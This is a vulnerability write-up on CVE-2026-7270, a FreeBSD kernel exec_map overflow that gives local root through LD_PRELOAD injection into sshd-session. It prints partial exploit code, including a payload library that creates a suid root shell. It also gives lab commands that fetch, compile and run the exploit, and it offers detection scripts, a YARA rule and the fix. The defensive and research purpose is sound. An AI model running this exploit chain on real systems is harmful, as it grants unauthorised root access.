What is CVE-2026-7270
CVE-2026-7270 is a local privilege escalation (LPE) vulnerability in the FreeBSD kernel that allows an unprivileged user to obtain root on any FreeBSD system with sshd running (default configuration). The bug is an operator precedence error in sys/kern/kern_exec.c, present since 2013, that causes a buffer overflow in execve(2) argument buffers.
The exploit, written by Ryan from Calif.io (discovered by an AI agent), injects LD_PRELOAD into the environment of sshd-session by abusing the fact that this process runs as root without a suid transition (issetugid()=0), allowing the runtime linker to load a malicious library.
Key data
| Field | Value |
|---|---|
| CVE | CVE-2026-7270 |
| CVSS v3.1 | 7.8 (High) - AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-783 (Operator Precedence Logic Error) |
| Discoverer | Ryan / Calif.io (AI-assisted) |
| Vendor | FreeBSD Project |
| Advisory | FreeBSD-SA-26:13.exec |
| Publication date | April 29, 2026 |
| Affected versions | FreeBSD 13.5, 14.3, 14.4, 15.0 (all supported branches) |
| Fix | FreeBSD 15.0-p7, 14.4-p3, 14.3-p12, 13.5-p13 |
| Prerequisite | Unprivileged local user + sshd running (default) |
| Time to root | < 1 second (round 5 in 4-CPU VM) |
How the bug works
The one-character error
In sys/kern/kern_exec.c, the function exec_args_adjust_args() restructures arguments when executing a shebang script (#!/bin/sh). The bug is in the call to memmove:
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); // BUG: + should be -
The third argument (copy size) should be endp - begin_argv - consume but the code uses + consume. This causes memmove to copy an extra 2 * consume bytes, overflowing the exec argument buffer.
exec_map: a buffer pool without guard pages
FreeBSD keeps a pool named exec_map: 8 * ncpus buffers of exactly 528,384 bytes (ARG_MAX + PAGE_SIZE) each, preallocated as a contiguous block of kernel virtual memory without guard pages between them. Each execve() borrows one buffer (entry) during execution and returns it to the pool when done.
[entry 0 | 528384 B][entry 1 | 528384 B]...[entry 31 | 528384 B]
^--- no guard pages between entries
Overflow arithmetic
With a 265,185-byte argv[0] in a shebang script:
consume = 265,186 (bytes from original argv[0] to remove)
extend = 20 (interp_len + fname_len inserted)
The buggy memmove:
- Correct size:
endp - begin_argv - consume = 4 bytes - Buggy size:
endp - begin_argv + consume = 530,376 bytes
With a 528,384-byte entry, the write overflows by 2,024 bytes into the adjacent entry (K+1). There is no crash, no page fault, no signal: both entries are valid mapped pages.
Self-copy: K+1 overwrites itself
The 2,024 bytes written at the start of K+1 are read from K+1 itself at offset D=265,166:
K+1[0..2024) ← K+1[265166..267190)
This means that if the attacker controls K+1 content at offset D, they can make those bytes appear at the beginning of K+1, overwriting fname, argv, and envp of the process currently running on that entry.
From overflow to root: exploitation chain
1. Target: sshd-session
When an SSH client connects (port 22), sshd (running as root) performs fork + execv("/usr/libexec/sshd-session", ...). Key details:
- execv (not execve): inherits parent process environment
- No suid/sgid transition: uid=0 -> uid=0, so
issetugid()returns 0 - With
issetugid()=0, the runtime linker honorsLD_PRELOADeven for root processes
2. Preseed: plant payload at offset D
exec_map entries are never zeroed when returned to the pool. Their content persists indefinitely. Since sshd-session only writes ~155 bytes (its fname + argv + env), everything after byte 156 persists from previous executions.
The exploit preseeds all entries by running processes with a huge environment that places this at offset D:
D+0: "/usr/libexec/sshd-session\0" (fake fname)
D+27: "/usr/libexec/sshd-session\0" (fake argv[0])
D+54: "-R\0" (argv[1])
D+57: "LD_PRELOAD=/tmp/evil.so\0" (injected env)
D+81: "X=01\0", "X=02\0", ... (padding)
3. SSH poker: force sshd-session execs
The exploit repeatedly opens TCP connections to localhost:22 (~1 per ms), forcing sshd to fork+exec sshd-session. Each exec grabs an entry from the pool.
4. Trigger pinned to CPU 0
The trigger (shebang script with 265KB argv[0]) is pinned to CPU 0 via cpuset_setaffinity. This ensures it always uses the same entry K (through DPCPU cache), keeping target K+1 stable.
5. Race window
Corruption must happen after sshd-session copies args into the entry (exec_copyin_args) but before copying them to the new process stack (exec_copyout_strings). The window is ~200us inside a ~1ms cycle -> ~20% of the time.
Probability per round: 0.20 × (1/32) ≈ 0.6%. Expected root in ~170 rounds = < 1 second.
6. evil.so: constructor as root
When injection succeeds, sshd-session loads /tmp/evil.so via LD_PRELOAD. Its constructor:
- Checks uid=0
- Copies
/bin/shto/tmp/rootsh - Makes it suid root (
chmod 04755) - Writes
/tmp/GOT_ROOTas confirmation
Reproduction lab
Lab architecture
┌───────────────────────────────────────────────────────────────┐
│ Vagrant VM: FreeBSD 14.0-RELEASE amd64 (generic/freebsd14) │
│ - 4 CPUs, 2GB RAM (VirtualBox) │
│ - sshd enabled (default) │
│ - Unprivileged user: testuser │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Exploit (exec1_lpe21.c) as user 'testuser' │ │
│ │ │ │
│ │ [preseeder] [ssh_poker] [trigger CPU0] [checker] │ │
│ │ ↓ ↓ ↓ ↓ │ │
│ │ plant payload generate OOB overflow verify │ │
│ │ at offset D execs K -> K+1 /tmp/rootsh │ │
│ └─────────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────────┘
Requirements
- VirtualBox 6.x / 7.x
- Vagrant 2.x
- ~2GB disk space (FreeBSD box)
- Internet connection (first-time box download)
Lab files
Exploit (exec1_lpe21.c):
/*
* EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
*
* Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
* memmove(begin_argv + extend, begin_argv + consume,
* endp - begin_argv + consume);
* Should be: endp - begin_argv - consume (operator precedence bug)
*
* Attack: corrupt sshd-session's exec_map env strings to inject
* LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
* with issetugid()=0 (no suid transition), so LD_PRELOAD works
* and our constructor runs as uid=0/euid=0.
*
* Architecture (all unprivileged, no helpers):
* 1. Preseed all exec_map entries with LD_PRELOAD payload at D
* 2. SSH poker -> sshd fork+exec sshd-session (root, grabs entry)
* 3. Trigger pinned to CPU 0 -> memmove OOB -> corrupt entry K+1
* 4. If K+1 = sshd-session in exec window -> LD_PRELOAD injected
* 5. evil.so constructor -> suid root shell at /tmp/rootsh
*
* Usage: cc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
* /tmp/exec1_lpe21 15000 0
* /tmp/rootsh -p
*/
#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#define ENTRY_SIZE 528384
#define SCRIPT "/tmp/e21.sh"
#define SSHD_SESSION "/usr/libexec/sshd-session"
#define EVIL_SO "/tmp/evil.so"
#define EVIL_SRC "/tmp/evil.c"
#define GOT_ROOT "/tmp/GOT_ROOT"
#define ARGV0_LEN 265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT 22
static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;
static void handle_sig(int s) { g_running = 0; }
static void *wired_alloc(size_t size) {
void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (p == MAP_FAILED) { perror("mmap"); exit(1); }
memset(p, 0, size);
mlock(p, size);
return p;
}
static void create_script(void) {
int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fd < 0) { perror("script"); exit(1); }
write(fd, "#!/bin/sh\nexit 0\n", 17);
close(fd);
}
static void create_evil_so(void) {
int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("evil.c"); exit(1); }
const char *src =
"#include <unistd.h>\n"
"#include <fcntl.h>\n"
"#include <sys/stat.h>\n"
"__attribute__((constructor))\n"
"static void pwn(void) {\n"
" if (getuid() != 0 && geteuid() != 0) return;\n"
" if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
" char buf[8192]; ssize_t n;\n"
" int s = open(\"/bin/sh\", O_RDONLY);\n"
" int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
" if (s >= 0 && d >= 0)\n"
" while ((n = read(s, buf, sizeof(buf))) > 0) write(d, buf, n);\n"
" if (s >= 0) close(s);\n"
" if (d >= 0) close(d);\n"
" chown(\"/tmp/rootsh\", 0, 0);\n"
" chmod(\"/tmp/rootsh\", 04755);\n"
" d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
" if (d >= 0) { dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
" getuid(), geteuid(), getpid()); close(d); }\n"
"}\n";
write(fd, src, strlen(src));
close(fd);
unlink(EVIL_SO);
char cmd[256];
snprintf(cmd, sizeof(cmd), "cc -shared -fPIC -o %s %s", EVIL_SO, EVIL_SRC);
if (system(cmd) != 0) { fprintf(stderr, "cc evil.so failed\n"); exit(1); }
chmod(EVIL_SO, 0755);
}
/* ... (rest of exploit: preseed, ssh_poker, trigger, main) ... */
/* See full code in the repository */
The full code (~400 lines) is available in the Calif.io repository.
Vagrantfile:
Vagrant.configure("2") do |config|
config.vm.box = "generic/freebsd14"
config.vm.guest = :freebsd
config.vm.synced_folder ".", "/vagrant", disabled: true
config.ssh.shell = "sh"
config.vm.provider "virtualbox" do |vb|
vb.memory = "2048"
vb.cpus = 4
vb.name = "freebsd-cve-2026-7270"
end
config.vm.provision "shell", inline: <<-SHELL
sysrc sshd_enable="YES"
service sshd status || service sshd start
pw useradd -n testuser -m -s /bin/sh 2>/dev/null || true
echo "testuser123" | pw usermod testuser -h 0
SHELL
end
Deployment and execution
# 1. Create lab directory
mkdir freebsd-cve-2026-7270 && cd freebsd-cve-2026-7270
# 2. Create Vagrantfile (see above) and start VM
vagrant up
# 3. Download exploit in the VM
vagrant ssh -c "fetch -o /tmp/exec1_lpe21.c \
https://raw.githubusercontent.com/califio/publications/main/MADBugs/freebsd-CVE-2026-7270/exec1_lpe21.c"
# 4. Compile
vagrant ssh -c "cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c && chmod 755 /tmp/exec1_lpe21"
# 5. Execute as unprivileged user
vagrant ssh -c "sudo su -m testuser -c '/tmp/exec1_lpe21 15000 0'"
# 6. Verify root shell
vagrant ssh -c "sudo su -m testuser -c '/tmp/rootsh -p -c id'"
Real output (verified)
=== EXEC-1 LPE v21: LD_PRELOAD injection ===
N=32 entries, OOB=2024 bytes, D=265166
Target: /usr/libexec/sshd-session via LD_PRELOAD=/tmp/evil.so
Rounds: 15000, mem_churn: 0MB
P(panic first trigger) = 1/32 = 3.1%
[*] Preseed: 2686 env entries (2652 pad + 35 payload)
[*] Copyin iterations: ~2686 (est ~8ms per exec)
[*] Payload: 229 bytes at D=265166 (OOB=2024, margin=1795)
[*] Preseeding all 32 entries...
[*] Preseed complete
[*] Workers: poker=1144 preseeder=1145 churn=1146
[*] Trigger pinned to CPU 0. Starting in 2s...
[*] r=0/15000 (0s)
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=1666
[!!!] Root shell: /tmp/rootsh -p
=== ROOT at round 5 (0s) ===
Verification:
$ cat /tmp/GOT_ROOT
uid=0 euid=0 pid=1666
$ ls -la /tmp/rootsh
-rwsr-xr-x 1 root wheel 168360 May 18 18:13 /tmp/rootsh
$ /tmp/rootsh -p -c id
uid=1002(testuser) gid=1002(testuser) euid=0(root) groups=1002(testuser)
Root obtained in round 5 (< 1 second) on FreeBSD 14.0-RELEASE with 4 CPUs.
Clean up the lab
vagrant destroy -f
Panic risk (3.1%)
The exploit has a 3.1% chance of kernel panic on the first trigger. If the entry assigned to CPU 0 is the last one in the array (entry[31]), the OOB read/write goes beyond the exec_map mapping, causing an unrecoverable page fault. Once the first trigger survives, DPCPU cache pins that entry and the risk disappears.
Attack detection
Indicators
- Multiple TCP connections to localhost:22 in rapid succession (SSH poker)
- Processes executing shebang scripts with
argv[0]greater than 265KB - Appearance of
/tmp/evil.so,/tmp/rootsh,/tmp/GOT_ROOT sshd-sessionprocesses withLD_PRELOADin their environment
Detection script
#!/bin/sh
# check_cve_2026_7270.sh - FreeBSD
echo "=== CVE-2026-7270 Check ==="
# 1. Version
VERSION=$(freebsd-version -u 2>/dev/null || uname -r)
echo "[INFO] FreeBSD: $VERSION"
# 2. Patch applied?
case "$VERSION" in
*-p[0-9]*) PATCH=$(echo "$VERSION" | grep -oE 'p[0-9]+' | tr -d 'p');;
*) PATCH=0;;
esac
VULN=0
case "$VERSION" in
15.0-RELEASE-p[7-9]*|15.0-RELEASE-p[1-9][0-9]*) echo "[OK] Patched";;
14.4-RELEASE-p[3-9]*|14.4-RELEASE-p[1-9][0-9]*) echo "[OK] Patched";;
14.3-RELEASE-p1[2-9]*|14.3-RELEASE-p[2-9][0-9]*) echo "[OK] Patched";;
13.5-RELEASE-p1[3-9]*|13.5-RELEASE-p[2-9][0-9]*) echo "[OK] Patched";;
*) echo "[VULNERABLE] Unpatched version"; VULN=1;;
esac
# 3. sshd running?
if pgrep -q sshd; then
echo "[INFO] sshd active (exploit prerequisite)"
else
echo "[MITIGATED] sshd is not running"
VULN=0
fi
# 4. Indicators of compromise
echo ""
for f in /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh; do
if [ -f "$f" ]; then
echo "[CRITICAL] Indicator found: $f"
ls -la "$f"
VULN=2
fi
done
# 5. Search suspicious suid shells
find /tmp /var/tmp -perm -4000 -type f 2>/dev/null | while read f; do
echo "[ALERT] SUID binary in temp: $f"
done
echo ""
if [ $VULN -eq 2 ]; then
echo "[CRITICAL] System possibly compromised"
echo " Action: rm -f /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh"
echo " Update kernel immediately"
elif [ $VULN -eq 1 ]; then
echo "[VULNERABLE] Upgrade to patched version"
echo " freebsd-update fetch && freebsd-update install && reboot"
else
echo "[OK] System not vulnerable"
fi
YARA rule
rule FreeBSD_CVE_2026_7270_LPE {
meta:
description = "Detects exec_map OOB exploit (CVE-2026-7270)"
author = "Red Orbita"
date = "2026-05-18"
cve = "CVE-2026-7270"
severity = "high"
strings:
$s1 = "exec_args_adjust_args" ascii
$s2 = "exec_map" ascii
$s3 = "LD_PRELOAD=/tmp/evil.so" ascii
$s4 = "sshd-session" ascii
$s5 = "/tmp/rootsh" ascii
$s6 = "GOT_ROOT" ascii
$s7 = "ARGV0_LEN" ascii
$s8 = "preseed" ascii nocase
$s9 = "DPCPU" ascii
$s10 = "cpuset_setaffinity" ascii
condition:
($s3) or
($s5 and $s6) or
($s7 and $s8) or
($s1 and $s4 and $s8) or
(4 of ($s*))
}
Workaround
No workaround exists according to the official FreeBSD advisory. The only mitigation is:
- Upgrade the kernel to a patched version
- Disable sshd if not required (removes the main attack vector, but not the bug)
# Temporary mitigation (removes sshd vector):
service sshd stop
sysrc sshd_enable="NO"
# Permanent fix:
freebsd-update fetch
freebsd-update install
shutdown -r +1 "Security update CVE-2026-7270"
Note: disabling sshd only removes the easiest vector. The bug still exists and could be exploited against any other root process that calls execve() regularly (cron, periodic scripts, etc.).
Permanent fix: upgrade the kernel
The patch is one character - replace + with - in sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
Patched versions
| Branch | Patched version | Commit |
|---|---|---|
| stable/15 | 15.0-STABLE | c3e943e78e06 |
| releng/15.0 | 15.0-RELEASE-p7 | 934b48683c4f |
| stable/14 | 14.4-STABLE | ae00a52921ca |
| releng/14.4 | 14.4-RELEASE-p3 | 943aa64ba91a |
| releng/14.3 | 14.3-RELEASE-p12 | f04c40607b8f |
| stable/13 | 13.5-STABLE | d619e3a3c0ec |
| releng/13.5 | 13.5-RELEASE-p13 | 7c5c37ac8f8f |
# Upgrade via freebsd-update (binary)
freebsd-update fetch
freebsd-update install
reboot
# Or via pkg (base system packages, FreeBSD 15.0)
pkg upgrade -r FreeBSD-base
reboot
Why this exploit is notable
- One-character bug present for 13 years (2013-2026)
- Does not require suid binaries, kernel modules, or special configuration
- Only needs a local user and sshd running (default on FreeBSD)
- Root in < 1 second reliably on modern hardware
- Discovered by AI (Calif.io) while analyzing kernel source code
- Elegant exploit: combines stale exec_map data + LD_PRELOAD + issetugid()=0
- No workaround: the only real fix is patching
Timeline
| Date | Event |
|---|---|
| 2013 | Bug introduced in FreeBSD (exec_args_adjust_args refactor) |
| April 2026 | Calif.io discovers the bug via AI analysis |
| April 29, 2026 | FreeBSD publishes SA-26:13 advisory and patches |
| April 30, 2026 | CISA-ADP assigns CVSS 7.8 |
| May 7, 2026 | Calif.io publishes technical writeup and exploit |
| May 10, 2026 | Blog post and references added to NVD |
References
- FreeBSD-SA-26:13.exec - Official advisory
- Calif.io Blog - Discovery narrative writeup
- GitHub - califio/publications - Exploit source + PoC automation
- NVD - CVE-2026-7270
- Hacker News Discussion
Comments